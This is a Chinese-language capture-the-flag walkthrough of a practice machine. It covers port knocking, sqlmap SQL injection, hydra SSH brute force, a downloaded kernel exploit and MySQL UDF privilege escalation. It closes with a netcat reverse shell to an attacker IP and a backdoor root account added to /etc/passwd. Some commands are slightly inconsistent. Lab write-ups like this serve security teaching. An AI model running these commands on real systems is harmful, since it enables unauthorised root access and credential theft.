實戰流程
新建立資料夾,在這個資料夾裡進行操作
nmap掃描下網段
根據nmap逐個排查,發現目標主機,但只有22埠
因此進一步掃描22埠的具體資訊,沒有掃出很有用的資訊
發現靶場又提示一個使用者,因此直接透過使用者名稱來ssh,發現需要敲擊三次埠(就是埠試探)
埠試探是啥?
埠試探(port knocking)是一種透過連線嘗試,從外部開啟原先關閉埠的方法。一旦收到正確順序的連線嘗試,防火牆就會動態開啟一些特定的埠給允許嘗試連線的主機。
埠試探的主要目的是防治攻擊者透過埠掃描的方式對主機進行攻擊。埠試探類似於一次秘密握手協議,比如一種最基本的方式:傳送一定序列的UDP、TCP資料包。當執行在主機上的daemon程式捕捉到資料包以後,如果這個序列正確,則開啟相應的埠,或者防火牆允許客戶端透過。
由於對外的Linux伺服器透過限制IP地址的方式來控制訪問,因此可以利用這種埠試探方式來進行防火牆對於訪問IP地址的控制。
如何進行埠碰撞?
首先需要我們知道埠碰撞的序列,否則暴力碰撞開啟的機會太小。
1)第一種方法:knock 命令
linux安裝:sudo apt install knockd
使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 埠:
knock 10.211.55.11 1 2 3 -v
2)hping3:TCP/IP資料包組裝/分析工具
hping3 -S [IP地址] -p 1 -c 1
hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
-S(--syn):SYN是TCP/IP建立連線時使用的握手訊號。在客戶機和伺服器之間建立正常的TCP網路連線時,客戶機首先發出一個SYN訊息,伺服器使用SYN-ACK應答表示接收到了這個訊息,最後客戶機再以ACK訊息響應。這樣在客戶機和伺服器之間才能建立起可靠的TCP連線,資料才可以在客戶機和伺服器之間傳遞。
-p --destport: 目的埠(預設為0),可同時指定多個埠
-c --count:指定資料包的次數
參考資料:https://blog.csdn.net/qq_30247635/article/details/86243448
梳理完畢,進行埠敲擊
敲擊完成,然後全埠掃描,發現了個額外的埠1337開啟狀態
訪問該連結和埠,發現是一張圖片,但沒有發現該圖片的有用資訊
手動訪問robots.txt檔案,發現另外一張圖片
檢視原始碼,發現base64
hash-identifier識別一下該base64,發現無法識別
再試試系統自帶的base64的解碼,發現解出來的是又是一段base64
那就繼續解碼,爆出了一個目錄
拼接連結,用目錄去訪問,發現出來個登入頁面!
既然是登入框,那就先試試sql注入,使用sqlmap跑,發現一個盲注
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms
然後進行注入,發現成功
接下來報資料庫名,因為是一個個字元匹配,因此需要等一會
接收爆破出來的庫名結果
接下來試試能不能透過sqlmap直接拿shell,發現可行
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --os-shell
發現寫不進去,做了防護,只能繼續爆庫
開始爆出表名Users
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables
繼續爆列名,需要等爆破後,獲取結果
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns
接下來繼續獲取欄位值,透過爆破獲取賬號和密碼,並記錄到user.txt,passwd
sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns -C id,password,username --dump
user:
frodo
smeagol
aragorn
legolas
gimli
passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe
使用hydra進行埠爆破,發現賬號和密碼
hydra -L user.txt -P pass.txt 192.168.117.131 ssh
接下來進行登陸
smeagol
MyPreciousR00t
開啟http服務
靶機獲取指令碼
進行賦權並執行
發現主機上的漏洞
另外發現緩衝區溢位檔案
尋找mysql,嘗試用mysql提權;
EXP核心提權
lsb_release -a
谷歌搜尋:Ubuntu 14.04 exploit
https://www.exploit-db.com/exploits/39166
searchsploit 39166
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/lordof/
開啟傳輸
python -m http.server 8081
wget http://10.211.55.19:8081/39166.c
gcc 39166.c -o heiyu
chmod +x heiyu
./dayu
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
10、Mysql UDF提權
UDF提權先檢視mysql版本!
dpkg -l | grep mysql --檢視歷史安裝包版本
5.5.44
檢視mysql執行許可權是不是root!
ps aux | grep mysql ---檢視mysql程式資訊
在尋找mysql賬號密碼!
find / -name login.*
發現資訊:/var/www/978345210/login.php
檢視檔案資訊
grep "root" -rn 978345210/login.php
獲得mysql密碼:
darkshadow
登入mysql:
mysql -uroot -pdarkshadow
首先看一下是否滿足寫入條件:
show global variables like 'secure%';
是可以進行UDF提權的!
檢視外掛目錄:
show variables like '%plugin%';
外掛目錄在:/usr/lib/mysql/plugin/
檢視能否遠端登陸:
select user,host from user;
只能本地登入!
MySQL中,BLOB是一個二進位制大型物件,是一個可以儲存大量資料的容器,它能容納不同大小的資料。BLOB型別實際是個型別系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在儲存的最大資訊量上不同外,他們是等同的。
MySQL的四種BLOB型別:
型別 大小(單位:位元組)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G可以利用lib_mysqludf_sys提供的函式執行系統命令,lib_mysqludf_sys:
sys_eval,執行任意命令,並將輸出返回
sys_exec,執行任意命令,並將退出碼返回。
sys_get,獲取一個環境變數。
sys_set,建立或修改一個環境變數。
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .
mv lib_mysqludf_sys_32.so heiyu.so
完成udf提權
mysql -uroot -pdarkshadow
use mysql
create table heiyu(heiyu longblob);
insert into heiyu values (load_file('/tmp/heiyu.so'));
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
create function sys_exec returns string soname 'heiyu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;
提權成功
擴充知識點(反彈shell):或者利用sys_exec、sys_eval
select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');
openssl passwd heiyu1
YpIR51FecR9AY
select sys_exec('echo "heiyu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');